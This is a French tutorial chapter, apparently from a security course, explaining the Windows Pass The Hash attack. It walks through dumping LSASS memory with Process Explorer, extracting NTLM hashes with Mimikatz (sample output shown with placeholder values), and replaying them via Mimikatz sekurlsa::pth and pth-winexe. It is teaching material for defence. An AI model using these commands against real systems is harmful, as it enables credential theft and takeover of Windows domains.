Le premier chapitre vous a donné les clés pour comprendre l'authentification sous Windows. C'est très important pour maintenant vous montrer en pratique la principale attaque sous Windows, le Pass The Hash. Vous allez voir le principe de cette attaque, comment la mettre en pratique. Les chapitres suivants vous montreront comment mieux vous en protéger.
Maîtrisez le Pass The Hash
Dans le premier chapitre, vous avez surement noté que dans le fonctionnement de l'authentification à distance, le mot de passe en clair n'intervient jamais dans le calcul du défi-réponse ! Ça vous interpelle, n'est-ce pas ? Qu'est-ce que cela veut dire ? Quand vous vous connectez localement de manière interactive, vous devez connaître le mot de passe en clair. Mais quand vous vous connectez à distance, on se fiche du mot de passe, seule son empreinte compte ! Qu'est-ce que cela veut dire du point de vue de l'attaquant ? Tout simplement qu'il n'a pas besoin de casser les mots de passe, il se contente de rejouer les empreintes pour se connecter de système en système !
Ainsi, une multitude de scénarios peuvent exister, en voici quelques exemples :
L'attaquant compromet un système par Spear Phishing. Il récupère l'empreinte du mot de passe d'un compte d'administration locale, il s'en sert pour prendre la main sur tous les autres systèmes de la même zone réseau.
A cause d'une vulnérabilité dans une application métier, l'attaquant prend la main sur un serveur. Sur ce serveur, un service de backup tourne avec un compte de domaine privilégié. L'attaquant récupère son empreinte et s'en sert pour se connecter sur les autres serveurs.
Un utilisateur malveillant demande l'installation d'un logiciel. Il sait que l'intervenant du helpdesk va intervenir sur son poste. Après l'intervention, il récupère l'empreinte du mot de passe de l'intervenant, celle-ci est restée en mémoire. Il s'en sert pour se connecter au serveur de distribution de logiciels du helpdesk. Il récupère les empreintes de mots de passe en mémoire sur ce serveur et bingo, un administrateur du domaine s'y est connecté ! L'attaquant a maintenant les clés de la boutique.
Partez à la chasse des empreintes en mémoire
Mais ça doit être très compliqué pour l'attaquant tout ça, non ?
Pas du tout ! Pas d'exploitation de faille jusque là inconnue, juste une récolte minutieuse des données d'authentification sur chaque système. Chaque nouvelle donnée ouvre un niveau de privilège, ce qui permet d'aller encore plus loin, vous l'aurez compris, jusqu'à être administrateur du domaine. Voyons comment va procéder l'attaquant.
Tout d'abord, il va récupérer la mémoire du processus LSASS, qui gère l'authentification sous Windows. Si vous étiez un attaquant, sur un système compromis, vous pouriez faire cela le plus simplement du monde avec Process Explorer, un outil gratuit de Microsoft. Lancez-le en tant qu'administrateur. Identifiez le processus lsass.exe, faites un clic-droit, puis choisissez « create dump », « create full dump » et enregistrez le dump de la mémoire vive du processus dans un fichier lsass.DMP. Vous pouvez rapatrier ce fichier sur votre poste.
Utilisez maintenant le logiciel Mimikatz pour traiter l'image mémoire et faire ressortir les empreintes de mot de passe. Depuis une ligne de commande Windows :
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>mimikatz.exe .#####. mimikatz 2.1.1 (x64) built on Jun 16 2018 18:49:05 - lil! .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz # sekurlsa::minidump lsass.DMP Switch to MINIDUMP : 'lsass.DMP' mimikatz # sekurlsa::logonPasswords Opening : 'lsass.DMP' file for minidump... Authentication Id : 0 ; 3673521 (00000000:00380db1) Session : Interactive from 2 User Name : Domain : MONDOMAINE Logon Server : MONDC Logon Time : 4/05/2018 01:02:03 AM SID : S-1-5-00-1111111111-222222222-333333333-12345 msv : [00000003] Primary * Username : mon.utilisateur * Domain : MONDOMAINE * NTLM : 1337babe0000deadbeef00001337babe * SHA1 : ebab73319999feebdaed9999ebab733187651234 * DPAPI : 7f1a71878723ffc3848c34c5df2bffad tspkg : wdigest : * Username : mon.utilisateur * Domain : MONDOMAINE * Password : (null) kerberos : * Username : mon.utilisateur * Domain : MONDOMAINE.BIZ * Password : (null) ssp : credman :
Voilà, vous avec récupéré l'empreinte NTLM du mot de passe !
Jouez à rejouer
Une fois que vous avez collecté une empreinte mémoire, il ne vous reste plus qu'à la réutiliser pour vous connecter à distance. De nombreux outils de test d'intrusion permettent de faire du Pass The Hash, par exemple Mimikatz sous Windows que nous venons juste d'utiliser ou sous Linux, Metasploit ou pth-winexe.
Le premier exemple est sous Windows avec Mimikatz :
mimikatz # privilege::debug mimikatz # sekurlsa::pth /user:mon.utilisateur /domain:MONDOMAINE /ntlm:1337babe0000deadbeef00001337babe
Cela rajoute l'empreinte dans votre cache d'authentification, vous pouvez ensuite l'utiliser pour vous connecter sur d'autres systèmes
Le second exemple est sous Linux avec pth-winexe :
OC:~$ export SMBHASH=1337babe0000deadbeef00001337babe OC:~$ pth-winexe -U MONDOMAINE/mon.utilisateur cmd.exe
En résumé
Le processus LSASS sous Windows gère l'authentification.
Les empreintes de mots de passe peuvent être récupérées dans la mémoire vive du processus LSASS avec Mimikatz.
Sous Windows, il ne sert à rien d'avoir un mot de passe en clair pour s'authentifier à distance, il suffit juste d'avoir l'empreinte du mot de passe.
L'attaque Pass The Hash permet de se connecter à distance à un système sans en connaître le mot de passe.